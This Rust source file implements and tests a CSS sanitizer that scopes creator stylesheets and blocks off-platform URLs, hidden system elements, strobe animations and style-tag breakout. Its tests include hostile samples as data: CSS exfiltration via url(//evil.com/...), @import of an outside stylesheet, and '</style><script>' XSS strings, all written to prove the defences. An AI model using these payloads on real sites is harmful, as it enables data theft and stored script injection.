Skip to main content

max / makenotwork

28.9 KB · 756 lines History Blame Raw
1 //! CSS sanitization for custom pages, built on [`lightningcss`].
2 //!
3 //! The job is to take creator CSS and make it safe to inline on a public page
4 //! without it escaping the user canvas or reaching off-platform. The pipeline:
5 //!
6 //! 1. **Parse** the creator's CSS to an AST (nesting enabled, error-recovery on
7 //! so one bad rule doesn't discard the sheet).
8 //! 2. **Visit** it once to: drop at-rules outside the allowlist, validate every
9 //! `url()` (off-platform URLs are neutralized), strip system-slot hiding
10 //! properties on `.mnw-*` selectors, enforce the strobe budget, flag
11 //! `expression()`, and count rules/selectors against the DoS caps.
12 //! 3. **Scope** by partitioning rules into ones that select elements (style,
13 //! `@media`, `@supports`, `@layer` blocks) and ones that are global by nature
14 //! (`@keyframes`, `@font-face`, `@page`, `@layer` statements). The former are
15 //! re-emitted nested inside `.user-canvas#uc-{owner}` and flattened by
16 //! lightningcss, so scoping is done by the engine's own spec-compliant
17 //! nesting resolver rather than fragile string surgery. Selectors that try to
18 //! escape (`html`, `body`, `:root`, `*`) become `.user-canvas html` etc. and
19 //! match nothing outside the canvas.
20 //! 4. **Append** a reduced-motion override as the final rule.
21 //!
22 //! The parse -> print -> wrap -> reparse round-trip is also what makes brace
23 //! injection impossible: a stray `}` in creator input is a parse error, never a
24 //! literal that could close the wrapper early.
25
26 use std::convert::Infallible;
27
28 use lightningcss::declaration::DeclarationBlock;
29 use lightningcss::properties::Property;
30 use lightningcss::properties::custom::Function;
31 use lightningcss::rules::{CssRule, CssRuleList};
32 use lightningcss::selector::{Component, Selector, SelectorList};
33 use lightningcss::stylesheet::{ParserFlags, ParserOptions, PrinterOptions, StyleSheet};
34 use lightningcss::targets::{Features, Targets};
35 use lightningcss::values::url::Url;
36 use lightningcss::visit_types;
37 use lightningcss::visitor::{Visit, VisitTypes, Visitor};
38
39 use super::url_filter::{UrlPolicy, resolve_internal_url};
40 use super::{MAX_RULES, MAX_SELECTORS, Rejection, RejectionKind};
41
42 /// Sanitize creator CSS for a profile or project page, scoping it to
43 /// `.user-canvas#uc-{scope_id}`. See [`scope_and_sanitize`].
44 pub fn sanitize_css(input: &str, scope_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) {
45 scope_and_sanitize(input, "user-canvas", "uc", scope_id, policy)
46 }
47
48 /// Sanitize a project's CSS for one of its item pages, scoping it to
49 /// `.item-canvas#ic-{project_id}`. Item pages have no HTML of their own; they
50 /// wear the parent project's styling re-scoped to the item canvas root.
51 pub fn sanitize_item_css(input: &str, project_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) {
52 scope_and_sanitize(input, "item-canvas", "ic", project_id, policy)
53 }
54
55 /// Sanitize creator CSS, scoping it to `.{canvas_class}#{id_prefix}-{scope_id}`.
56 ///
57 /// `scope_id` must be an id-safe token (the owner/project UUID); anything else
58 /// is refused outright. `canvas_class`/`id_prefix` are internal constants.
59 /// Returns the sanitized, scoped stylesheet plus every reference stripped along
60 /// the way. On a fatal parse failure or a complexity-cap breach, returns empty
61 /// CSS and a single explanatory rejection -- a page that can't be made safe
62 /// renders as the platform default, never partially.
63 fn scope_and_sanitize(
64 input: &str,
65 canvas_class: &str,
66 id_prefix: &str,
67 scope_id: &str,
68 policy: &UrlPolicy,
69 ) -> (String, Vec<Rejection>) {
70 if input.trim().is_empty() {
71 return (String::new(), Vec::new());
72 }
73
74 if !is_id_safe(scope_id) {
75 return (
76 String::new(),
77 vec![Rejection {
78 kind: RejectionKind::MalformedCss,
79 location: "css".into(),
80 original_value: scope_id.to_string(),
81 reason: "internal: unsafe owner scope".into(),
82 }],
83 );
84 }
85
86 let mut stylesheet = match StyleSheet::parse(input, parser_options()) {
87 Ok(s) => s,
88 Err(_) => {
89 return (
90 String::new(),
91 vec![Rejection {
92 kind: RejectionKind::MalformedCss,
93 location: "css".into(),
94 original_value: String::new(),
95 reason: "CSS could not be parsed".into(),
96 }],
97 );
98 }
99 };
100
101 let mut sanitizer = CssSanitizer {
102 policy,
103 rejections: Vec::new(),
104 rule_count: 0,
105 selector_count: 0,
106 };
107 // Our visitor never returns Err.
108 let _: Result<(), Infallible> = stylesheet.visit(&mut sanitizer);
109
110 if sanitizer.rule_count > MAX_RULES || sanitizer.selector_count > MAX_SELECTORS {
111 return (
112 String::new(),
113 vec![Rejection {
114 kind: RejectionKind::ComplexityLimit,
115 location: "css".into(),
116 original_value: format!(
117 "{} rules, {} selectors",
118 sanitizer.rule_count, sanitizer.selector_count
119 ),
120 reason: format!("stylesheet too complex (limit {MAX_RULES} rules, {MAX_SELECTORS} selectors)"),
121 }],
122 );
123 }
124
125 let mut rejections = sanitizer.rejections;
126
127 // Partition surviving rules: element-selecting rules get scoped; rules that
128 // are global by nature stay top-level (they have no document selectors, and
129 // they cannot legally nest inside a style rule anyway).
130 let rules = std::mem::take(&mut stylesheet.rules.0);
131 let mut global = Vec::new();
132 let mut scopable = Vec::new();
133 for rule in rules {
134 match rule {
135 CssRule::Ignored => {}
136 CssRule::Keyframes(_)
137 | CssRule::FontFace(_)
138 | CssRule::Page(_)
139 | CssRule::LayerStatement(_) => global.push(rule),
140 _ => scopable.push(rule),
141 }
142 }
143
144 let scope_selector = format!(".{canvas_class}#{id_prefix}-{scope_id}");
145
146 let global_css = print_rules(global);
147 let scopable_css = print_rules(scopable);
148
149 // Wrap the element-selecting rules in the canvas selector and let
150 // lightningcss flatten the nesting (scoping done by the engine).
151 let flat_scoped = if scopable_css.trim().is_empty() {
152 String::new()
153 } else {
154 let wrapped = format!("{scope_selector} {{\n{scopable_css}\n}}");
155 match StyleSheet::parse(&wrapped, parser_options()) {
156 Ok(sheet) => sheet
157 .to_css(PrinterOptions {
158 targets: Targets {
159 browsers: None,
160 include: Features::Nesting,
161 exclude: Features::empty(),
162 },
163 ..Default::default()
164 })
165 .map(|r| r.code)
166 .unwrap_or_default(),
167 Err(_) => {
168 // Should not happen on already-sanitized input; fail safe.
169 rejections.push(Rejection {
170 kind: RejectionKind::MalformedCss,
171 location: "css".into(),
172 original_value: String::new(),
173 reason: "internal: re-scope failed".into(),
174 });
175 String::new()
176 }
177 }
178 };
179
180 // Reduced-motion override, always last (decision #3). Scoped to the canvas.
181 let reduced_motion = format!(
182 "@media (prefers-reduced-motion: reduce){{{sel},{sel} *{{animation:none!important;transition:none!important}}}}",
183 sel = scope_selector
184 );
185
186 let mut out = String::new();
187 if !global_css.trim().is_empty() {
188 out.push_str(global_css.trim());
189 out.push('\n');
190 }
191 if !flat_scoped.trim().is_empty() {
192 out.push_str(flat_scoped.trim());
193 out.push('\n');
194 }
195 out.push_str(&reduced_motion);
196
197 (escape_lt_for_style_element(&out), rejections)
198 }
199
200 /// Make the sheet safe to inline raw inside an HTML `<style>` element.
201 ///
202 /// `<style>` is a raw-text element: the HTML tokenizer ends it at the first
203 /// `</style` regardless of CSS syntax, so a creator's `content: "</style>..."`
204 /// would otherwise break out and inject markup. lightningcss faithfully
205 /// preserves the literal `<` inside CSS string tokens, so we escape every `<`
206 /// in the final output to its CSS hex escape `\3c ` (the trailing space
207 /// terminates the hex digits). `<` is not valid CSS syntax outside string/url
208 /// tokens, so this rewrite is lossless where it matters and never produces a
209 /// literal `<` for the HTML parser to act on. `</style>`, `<!--`, and `<script`
210 /// all require a `<`, so neutralizing it closes the whole class.
211 fn escape_lt_for_style_element(css: &str) -> String {
212 if !css.contains('<') {
213 return css.to_string();
214 }
215 css.replace('<', "\\3c ")
216 }
217
218 fn parser_options<'o, 'i>() -> ParserOptions<'o, 'i> {
219 ParserOptions {
220 // Nesting is standard CSS; let creators use it and let us wrap with it.
221 flags: ParserFlags::NESTING,
222 // One malformed rule shouldn't discard the whole sheet.
223 error_recovery: true,
224 ..Default::default()
225 }
226 }
227
228 /// Print a set of rules to CSS (non-minified, no nesting transform).
229 fn print_rules(rules: Vec<CssRule<'_>>) -> String {
230 if rules.is_empty() {
231 return String::new();
232 }
233 let sheet = StyleSheet::new(Vec::new(), CssRuleList(rules), ParserOptions::default());
234 sheet.to_css(PrinterOptions::default()).map(|r| r.code).unwrap_or_default()
235 }
236
237 /// An id token safe to embed in a CSS id selector: ASCII alphanumerics and `-`.
238 fn is_id_safe(s: &str) -> bool {
239 !s.is_empty() && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-')
240 }
241
242 /// The single-pass AST sanitizer.
243 struct CssSanitizer<'p> {
244 policy: &'p UrlPolicy,
245 rejections: Vec<Rejection>,
246 rule_count: usize,
247 selector_count: usize,
248 }
249
250 impl<'i, 'p> Visitor<'i> for CssSanitizer<'p> {
251 type Error = Infallible;
252
253 fn visit_types(&self) -> VisitTypes {
254 visit_types!(RULES | URLS | FUNCTIONS)
255 }
256
257 fn visit_rule(&mut self, rule: &mut CssRule<'i>) -> Result<(), Self::Error> {
258 self.rule_count += 1;
259
260 // At-rule allowlist. Anything not explicitly allowed is replaced with
261 // CssRule::Ignored (prints nothing) and recorded. Allowed at-rules fall
262 // through to the recursion below so their contents are still cleaned.
263 let blocked_name: Option<&str> = match rule {
264 CssRule::Import(_) => Some("@import"),
265 CssRule::Namespace(_) => Some("@namespace"),
266 CssRule::MozDocument(_) => Some("@-moz-document"),
267 CssRule::CustomMedia(_) => Some("@custom-media"),
268 CssRule::Property(_) => Some("@property"),
269 CssRule::Viewport(_) => Some("@viewport"),
270 CssRule::CounterStyle(_) => Some("@counter-style"),
271 CssRule::FontPaletteValues(_) => Some("@font-palette-values"),
272 CssRule::FontFeatureValues(_) => Some("@font-feature-values"),
273 CssRule::Container(_) => Some("@container"),
274 CssRule::Scope(_) => Some("@scope"),
275 CssRule::StartingStyle(_) => Some("@starting-style"),
276 CssRule::ViewTransition(_) => Some("@view-transition"),
277 CssRule::Unknown(_) => Some("unknown at-rule"),
278 _ => None,
279 };
280
281 if let Some(name) = blocked_name {
282 self.rejections.push(Rejection {
283 kind: RejectionKind::BlockedAtRule,
284 location: name.to_string(),
285 original_value: name.to_string(),
286 reason: format!("{name} is not allowed in custom pages"),
287 });
288 *rule = CssRule::Ignored;
289 return Ok(());
290 }
291
292 // Style-rule-specific cleanups, with selector context in hand.
293 if let CssRule::Style(style) = rule {
294 self.selector_count += style.selectors.0.len();
295 if selectors_target_system_slot(&style.selectors) {
296 strip_hiding_properties(&mut style.declarations, &mut self.rejections);
297 }
298 enforce_animation_budget(&mut style.declarations, &mut self.rejections);
299 }
300
301 // Recurse into declarations (url()/expression()) and nested rules.
302 rule.visit_children(self)
303 }
304
305 fn visit_url(&mut self, url: &mut Url<'i>) -> Result<(), Self::Error> {
306 if let Err(rejection) = resolve_internal_url(&url.url, self.policy, "css url()") {
307 self.rejections.push(rejection);
308 // Neutralize: an empty url() resolves to the current document
309 // (same-origin), never the off-platform target.
310 url.url = "".into();
311 }
312 Ok(())
313 }
314
315 fn visit_function(&mut self, function: &mut Function<'i>) -> Result<(), Self::Error> {
316 // expression() is dead in every browser we support; record it so the
317 // creator sees why it's gone, and recurse for any url() inside it.
318 if function.name.as_ref().eq_ignore_ascii_case("expression") {
319 self.rejections.push(Rejection {
320 kind: RejectionKind::BlockedFunction,
321 location: "css".into(),
322 original_value: "expression()".into(),
323 reason: "the expression() function is not allowed".into(),
324 });
325 }
326 function.visit_children(self)
327 }
328 }
329
330 /// True if any selector in the list targets a `.mnw-*` system-slot class
331 /// (directly or inside `:is()`/`:where()`/`:not()`/`:has()`).
332 fn selectors_target_system_slot(list: &SelectorList) -> bool {
333 list.0.iter().any(selector_has_system_class)
334 }
335
336 fn selector_has_system_class(selector: &Selector) -> bool {
337 selector.iter_raw_match_order().any(component_has_system_class)
338 }
339
340 fn component_has_system_class(component: &Component) -> bool {
341 match component {
342 Component::Class(ident) => ident.0.starts_with("mnw-"),
343 Component::Is(list)
344 | Component::Where(list)
345 | Component::Negation(list)
346 | Component::Has(list) => list.iter().any(selector_has_system_class),
347 Component::Any(_, list) => list.iter().any(selector_has_system_class),
348 Component::Host(Some(inner)) => selector_has_system_class(inner),
349 _ => false,
350 }
351 }
352
353 /// Remove declarations that would hide a system slot, preserving the rest of
354 /// the rule. Records one rejection per dropped property.
355 fn strip_hiding_properties(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
356 for list in [&mut decls.declarations, &mut decls.important_declarations] {
357 list.retain(|prop| {
358 if is_hiding_property(prop) {
359 rejections.push(Rejection {
360 kind: RejectionKind::HidingProperty,
361 location: ".mnw-* rule".into(),
362 original_value: prop_string(prop),
363 reason: "system slots (.mnw-*) cannot be hidden".into(),
364 });
365 false
366 } else {
367 true
368 }
369 });
370 }
371 }
372
373 /// Whether a property+value combination hides an element. Matched against the
374 /// serialized declaration so we don't have to enumerate every typed variant.
375 fn is_hiding_property(prop: &Property) -> bool {
376 let norm = normalize(&prop_string(prop));
377 if let Some(rest) = norm.strip_prefix("opacity:") {
378 return rest.parse::<f32>().map(|v| v < 0.1).unwrap_or(false);
379 }
380 matches!(
381 norm.as_str(),
382 "display:none"
383 | "visibility:hidden"
384 | "visibility:collapse"
385 | "pointer-events:none"
386 | "width:0"
387 | "width:0px"
388 | "height:0"
389 | "height:0px"
390 ) || (norm.starts_with("transform:") && norm.contains("scale(0)"))
391 }
392
393 /// Drop infinite animations faster than 2s (strobe guard, decision #3). The
394 /// reduced-motion override handles accessibility; this caps the worst abuse for
395 /// everyone else.
396 fn enforce_animation_budget(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
397 let mut has_infinite = false;
398 let mut min_duration: Option<f32> = None;
399
400 for list in [&decls.declarations, &decls.important_declarations] {
401 for prop in list {
402 // Lowercased but whitespace-preserved: duration tokens like `1s`
403 // must stay split from neighbouring keywords.
404 let raw = prop_string(prop).to_ascii_lowercase();
405 if raw.contains("infinite") {
406 has_infinite = true;
407 }
408 if let Some(rest) = raw.strip_prefix("animation-duration:") {
409 update_min_duration(rest, &mut min_duration);
410 } else if let Some(rest) = raw.strip_prefix("animation:") {
411 update_min_duration(rest, &mut min_duration);
412 }
413 }
414 }
415
416 let strobe = has_infinite && min_duration.map(|d| d < 2.0).unwrap_or(false);
417 if !strobe {
418 return;
419 }
420
421 let mut dropped = false;
422 for list in [&mut decls.declarations, &mut decls.important_declarations] {
423 list.retain(|prop| {
424 let norm = normalize(&prop_string(prop));
425 if norm.starts_with("animation") {
426 dropped = true;
427 false
428 } else {
429 true
430 }
431 });
432 }
433 if dropped {
434 rejections.push(Rejection {
435 kind: RejectionKind::AnimationBudget,
436 location: "animation".into(),
437 original_value: "infinite animation under 2s".into(),
438 reason: "fast infinite animations are not allowed (strobe guard)".into(),
439 });
440 }
441 }
442
443 fn update_min_duration(value: &str, min: &mut Option<f32>) {
444 for token in value.split([' ', ',']) {
445 if let Some(secs) = parse_seconds(token) {
446 *min = Some(min.map_or(secs, |m| m.min(secs)));
447 }
448 }
449 }
450
451 /// Parse a CSS time token to seconds. Returns None for non-time tokens.
452 fn parse_seconds(token: &str) -> Option<f32> {
453 let t = token.trim();
454 if let Some(ms) = t.strip_suffix("ms") {
455 ms.parse::<f32>().ok().map(|v| v / 1000.0)
456 } else if let Some(s) = t.strip_suffix('s') {
457 s.parse::<f32>().ok()
458 } else {
459 None
460 }
461 }
462
463 fn prop_string(prop: &Property) -> String {
464 prop.to_css_string(false, PrinterOptions::default()).unwrap_or_default()
465 }
466
467 /// Lowercase and strip ASCII whitespace, for value matching.
468 fn normalize(s: &str) -> String {
469 s.chars().filter(|c| !c.is_whitespace()).collect::<String>().to_ascii_lowercase()
470 }
471
472 #[cfg(test)]
473 mod tests {
474 use super::*;
475
476 const SCOPE: &str = "11111111-1111-1111-1111-111111111111";
477
478 fn policy() -> UrlPolicy {
479 UrlPolicy::new(
480 "https://u.makenot.work/alice/proj",
481 ["makenot.work".to_string(), "u.makenot.work".to_string(), "cdn.makenot.work".to_string()],
482 )
483 .unwrap()
484 }
485
486 fn san(css: &str) -> (String, Vec<Rejection>) {
487 sanitize_css(css, SCOPE, &policy())
488 }
489
490 fn scoped(css: &str) -> String {
491 san(css).0
492 }
493
494 #[test]
495 fn empty_input_is_empty() {
496 assert_eq!(san("").0, "");
497 assert_eq!(san(" ").0, "");
498 }
499
500 #[test]
501 fn scopes_plain_selectors() {
502 let out = scoped("p { color: red }");
503 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
504 }
505
506 #[test]
507 fn neutralizes_body_and_root_escape() {
508 let out = scoped("body { background: blue } :root { color: green }");
509 // Both are confined under the canvas (descendant), matching nothing outside.
510 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
511 assert!(!out.contains("\nbody"));
512 assert!(!out.starts_with("body"));
513 }
514
515 #[test]
516 fn rejects_import() {
517 let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
518 assert!(!out.contains("@import"));
519 assert!(!out.contains("evil.com"));
520 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
521 assert!(out.contains("color"));
522 }
523
524 #[test]
525 fn rejects_namespace_and_moz_document() {
526 let (out, rej) = san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
527 assert!(!out.to_lowercase().contains("namespace"));
528 assert!(!out.to_lowercase().contains("moz-document"));
529 assert!(rej.iter().filter(|r| r.kind == RejectionKind::BlockedAtRule).count() >= 2);
530 }
531
532 #[test]
533 fn allows_media_and_keyframes_and_fontface() {
534 let out = scoped(
535 "@media (min-width: 600px) { .wide { color: red } } \
536 @keyframes spin { from {opacity:0} to {opacity:1} }",
537 );
538 assert!(out.contains("@media"));
539 assert!(out.contains("@keyframes"));
540 // The media rule's inner selector is scoped...
541 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
542 // ...but @keyframes stays global (not nested under the canvas).
543 assert!(out.contains("@keyframes spin"));
544 }
545
546 #[test]
547 fn external_url_in_background_is_neutralized() {
548 let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
549 assert!(!out.contains("evil.com"));
550 assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
551 }
552
553 #[test]
554 fn internal_and_relative_urls_kept() {
555 let out = scoped(".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}");
556 assert!(out.contains("/static/p.png"));
557 assert!(out.contains("cdn.makenot.work/x"));
558 }
559
560 #[test]
561 fn attribute_selector_exfiltration_blocked() {
562 // The classic CSS data-exfiltration trick: url() must be dropped.
563 let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
564 assert!(!out.contains("evil.com"));
565 }
566
567 #[test]
568 fn mnw_hiding_properties_stripped() {
569 let (out, rej) = san(".mnw-buy { display: none; color: red }");
570 assert!(!normalize(&out).contains("display:none"));
571 assert!(out.contains("color"));
572 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
573 }
574
575 #[test]
576 fn mnw_hiding_via_has_stripped() {
577 let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
578 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
579 }
580
581 #[test]
582 fn non_mnw_hiding_is_allowed() {
583 let (out, rej) = san(".myclass { display: none }");
584 assert!(normalize(&out).contains("display:none"));
585 assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
586 }
587
588 #[test]
589 fn reduced_motion_appended() {
590 let out = scoped("p { color: red }");
591 assert!(out.contains("prefers-reduced-motion"));
592 assert!(out.trim_end().ends_with("}"));
593 }
594
595 #[test]
596 fn fast_infinite_animation_dropped() {
597 let (out, rej) = san(".spin { animation: spin 1s infinite }");
598 assert!(!normalize(&out).contains("animation:spin"));
599 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
600 }
601
602 #[test]
603 fn slow_infinite_animation_kept() {
604 let (out, rej) = san(".spin { animation: spin 3s infinite }");
605 assert!(out.to_lowercase().contains("animation"));
606 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
607 }
608
609 #[test]
610 fn expression_function_recorded() {
611 let (_out, rej) = san(".x { width: expression(alert(1)) }");
612 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
613 }
614
615 #[test]
616 fn brace_injection_cannot_escape_scope() {
617 // A creator trying to break out of the wrapper: the parse round-trip
618 // makes the stray brace a no-op, so nothing lands unscoped.
619 let out = scoped("color: red } body { background: red");
620 assert!(!out.contains("\nbody {"));
621 assert!(!out.contains("} body{"));
622 }
623
624 #[test]
625 fn idempotent_on_sanitized_output() {
626 let once = scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
627 let twice = scoped(&once);
628 // Scoping a second time nests under the canvas again but must stay safe:
629 // no external host, no display:none on mnw, reduced-motion present.
630 assert!(!twice.contains("evil.com"));
631 assert!(twice.contains("prefers-reduced-motion"));
632 }
633
634 #[test]
635 fn unsafe_scope_refused() {
636 let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
637 assert_eq!(out, "");
638 assert_eq!(rej.len(), 1);
639 assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
640 }
641
642 /// Minify sanitized output so each rule is `selector{decls}` on no
643 /// whitespace, for invariant checks.
644 fn minify(css: &str) -> String {
645 StyleSheet::parse(css, parser_options())
646 .unwrap()
647 .to_css(PrinterOptions { minify: true, ..Default::default() })
648 .unwrap()
649 .code
650 }
651
652 #[test]
653 fn universal_and_not_selectors_are_scoped() {
654 // Selectors that classically escape a scope must all end up confined to
655 // the canvas: no rule may begin with a bare html/body/* selector.
656 for css in [
657 "* { color: red }",
658 ":not(.x) { color: red }",
659 "html, body { color: red }",
660 ":root { color: red }",
661 ] {
662 let out = minify(&scoped(css));
663 for bad in ["}*{", "}body{", "}html{", "}:root{"] {
664 assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
665 }
666 for bad in ["^*{", "^body{", "^html{"] {
667 let lead = bad.trim_start_matches('^');
668 assert!(!out.starts_with(lead), "leads with unscoped `{lead}`: {out}");
669 }
670 assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
671 }
672 }
673
674 #[test]
675 fn media_wrapped_escape_is_scoped() {
676 let out = scoped("@media screen { body { background: red } }");
677 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
678 }
679
680 #[test]
681 fn style_tag_breakout_via_content_string_is_neutralized() {
682 // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
683 // (templates/custom/*.html). The most direct stored-XSS attempt is a
684 // declaration whose value is a string closing the tag and opening a
685 // script. The serializer must never emit a literal `</style>` (or a bare
686 // `<script>`) — `<` inside a CSS string token has to come back escaped.
687 for css in [
688 r#".x { content: "</style><script>alert(1)</script>" }"#,
689 r#".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }"#,
690 r#".x { content: "\3c /style\3e <script>" }"#,
691 // url() is dropped (external) but the string form must also be safe.
692 r#".x { background: url("</style><script>x</script>") }"#,
693 ] {
694 let out = scoped(css);
695 let lower = out.to_lowercase();
696 assert!(
697 !lower.contains("</style>"),
698 "literal </style> escaped the block for input `{css}`: {out}"
699 );
700 assert!(
701 !lower.contains("<script>"),
702 "literal <script> escaped the block for input `{css}`: {out}"
703 );
704 }
705 }
706 }
707
708 #[cfg(test)]
709 mod proptests {
710 use super::*;
711 use proptest::prelude::*;
712
713 const SCOPE: &str = "22222222-2222-2222-2222-222222222222";
714
715 fn policy() -> UrlPolicy {
716 UrlPolicy::new(
717 "https://u.makenot.work/a/p",
718 ["makenot.work".to_string(), "u.makenot.work".to_string(), "cdn.makenot.work".to_string()],
719 )
720 .unwrap()
721 }
722
723 proptest! {
724 // Arbitrary input never panics, and the output is always valid CSS
725 // (it re-parses cleanly).
726 #[test]
727 fn never_panics_output_reparses(input in "\\PC{0,400}") {
728 let (out, _rej) = sanitize_css(&input, SCOPE, &policy());
729 prop_assert!(StyleSheet::parse(&out, parser_options()).is_ok(), "invalid output: {out}");
730 }
731
732 // A randomly-built external url() is always neutralized.
733 #[test]
734 fn external_url_always_stripped(host in "[a-z]{3,10}", tld in "(com|net|io|xyz)", path in "[a-z0-9]{1,10}") {
735 let domain = format!("{host}.{tld}");
736 let css = format!(".x {{ background: url(https://{domain}/{path}) }}");
737 let out = sanitize_css(&css, SCOPE, &policy()).0;
738 let leaked = out.contains(&domain);
739 prop_assert!(!leaked, "leaked host: {}", out);
740 }
741
742 // Every non-empty sanitized sheet confines its style rules to the canvas
743 // and ends with the reduced-motion guard.
744 #[test]
745 fn always_scoped_and_guarded(sel in "[a-z][a-z0-9]{0,8}", prop in "(color|background-color|margin)") {
746 let css = format!("{sel} {{ {prop}: inherit }}");
747 let out = sanitize_css(&css, SCOPE, &policy()).0;
748 let scope_tag = format!("uc-{SCOPE}");
749 let has_scope = out.contains(&scope_tag);
750 let has_guard = out.contains("prefers-reduced-motion");
751 prop_assert!(has_scope, "missing scope: {}", out);
752 prop_assert!(has_guard, "missing guard: {}", out);
753 }
754 }
755 }
756